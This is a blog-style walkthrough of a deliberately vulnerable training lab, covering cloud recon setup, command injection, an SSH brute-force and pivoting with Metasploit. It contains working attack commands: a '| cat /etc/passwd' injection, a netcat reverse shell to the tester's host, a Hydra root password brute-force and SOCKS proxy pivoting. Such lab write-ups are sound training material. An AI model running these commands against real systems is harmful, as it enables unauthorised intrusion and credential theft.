InfosecLabs Public Lab Walkthrough Part 1

The public lab is set up in a way that emulates a real world penetration test.  When many people are learning the fundamentals of penetration testing they usually test hosts that are on their home network.  Unfortunately with this method students miss many fundamental aspects of testing a real organization.  We designed InfosecLabs to teach these key elements, such as using external resources to gain access into internal networks, pivoting, lateral movement, and working in an Active Directory domain.  By working through InfosecLabs you can learn all of these skills.


Real penetration testing engagements employ cloud machines for easy configuration and deployment.  Running a penetration test from the cloud makes it easier to catch reverse shells without complicated NAT rules, change IP addresses if you get blocked, and use FQDN’s for more advanced engagements.  It is recommended that you use your pentesting system from the cloud to perform the exercises in the lab.


Starting up my Kali system in the cloud

So first things first, I’ll have to fire up my recon system in the EC2 cloud and connect to it.  If you need help doing this take a look at Primal Securitys’ article on Pentesting in the Cloud, they have an awesome write up on getting a system up and running.

Starting up the EC2 instance
SSH into instance from local Kali box and started tightvncserver (you can also have this startup as a service)
SSH into instance from local Kali system and started tightvncserver (you can also have this startup as a service)
Firing up Recon box - rdesktop to recon box
VNC’ed in over SSH to EC2 instance with bash script I created

I’ve created a bunch of EC2 instances; I dont keep them running, nor have I given them elastic IP’s, so the public IP’s change every time.  I also use a few different .pem files for different instances.  To make it easier on me to connect into them I created a bash script that will ask me what public IP I want to connect to and which .pem file to use.  It’s been a huge time saver! Here’s the script:


Web Recon

Many organizations have external facing web applications which may contain vulnerabilities or misconfigurations that can lead to gaining a foothold on these systems.  Access to internal resources may be possible under certain circumstances.  To determine whether or not you can gain a foothold on this type of system web reconnaissance is required.  Many tools can be used to do this, including Burp Suite, however we’re going to do manual reconnaissance.  If you’re interested in gaining a foothold on your own stop reading here.


The important thing to remember is that this was set up to be tested as if it were the website of a company that is internally hosted.  This virtual machine from PentesterLab was chosen so that anyone unfamiliar with web application penetration testing could complete some of the exercises to better understand how to gain a foothold on a web resource.


If you are are interested in learning more about web application pen testing there is also a course that accompanies this exercise.  The course can be found here.

Lab Entrance
Lab Entrance

Web for Pentester contains a plethora of common web vulnerabilities.  Let’s explore command injection.  Click on Example 1 and try appending a command to the end of the URL. | cat /etc/passwd
Testing command injection with cat /etc/passwd
Results of command injection with cat /etc/passwd

Our ability to view /etc/passwd shows that we have command injection on the system.  We can use this to  get a reverse shell, but first we start a listener on my recon system on port 4000, then execute the following command in the URL: | nc 4000 -e /bin/bash
Looks like we're in business!
Looks like we’re in business!

This is a very simple way of getting a shell.  Different circumstances call for different shells.  The reverse shell cheat sheet is a helpful resource that I frequently use.  While we do have a reverse shell, the user is www-data.  We can explore this attack path more later.


Additional Recon and Brute Forcing

Performing Nmap scans on hosts can provide you valuable information about what services may be running, the OS, as well as any open ports.  If you’re unfamiliar with running Nmap the reference guide is a great place to start.

Nmap scan
Nmap scan

SSH is open, we may be able to brute force the root password.  Penetration tests will allow varying degrees of brute forcing, some may only allow brute forcing with a short list of default passwords.  For this exercise we’ll be using Hydra.  Here’s the command I ran to execute this attack:

hydra -l root -P /home/admin/Desktop/rockyou.txt ssh://
That didn't take too long!
That didn’t take too long!


Pivoting into the Internal Network

Once you gain a foothold on a system you will want to perform post exploitation procedures to determine how this system can be used to advance the overall objective of the penetration test.  This will often times be determined by the scope.  Many times a system will simply be used as a pivot point.  That will be the case that we explore in the following example.

First we’ll test the SSH credentials by using our newly found root password and see what kind of information we can gather.  Let’s find out what the internal IP scheme is:

logged in as root

Now we’ll set up a SOCKS proxy to our target system so we can use Metasploit.  We’ll be creating a “dynamic” application-level port forward using SSH with the -D argument to create a SOCKS4 server on port 4000 on my Kali system, which will allow me to run my commands from Metasploit as if I were on the target system.  @armitagehacker has a great article located here that can give you a few examples of how to do this.

ssh -D 4000

ssh tunnel bind to target

Now that we have our proxy running to that web server lets start up Metasploit and change some global variables so we can use our SOCKS4 proxy.  Changing global variables will allow configuration changes to remain persistent throughout all modules.

service postgresql start
service metasploit start
setg Proxies socks4:
setg ReverseAllowProxy true

starting msfstarting msf 2

So we know what the web servers internal IP address is, and we know it isn’t dual homed, so lets try scanning that network to see if there’s anything else we can find.  I’m using the tcp port scanner in Metasploit, but I want to limit the ports to only ones I find interesting to cut down on time.  I also increased the threads and concurrent ports to try and make this a little faster, but this is still a good time to go grab some food, or watch a few episodes of your favorite show.  We just have to hurry up and wait at this point because scanning through pivots can be slow.

msf tcp scan

Now we have a list of internal systems and some of their open ports to explore.

tcp scan results

The intentions of part 1 of this article were to give you insight into some of the thought process we used when setting up the lab.  We also wanted to give more novice penetration testers a point in the right direction towards conquering the lab.  For anyone who is referencing this guide I highly encourage you to try and complete the lab on your own.


Part 2 coming soon…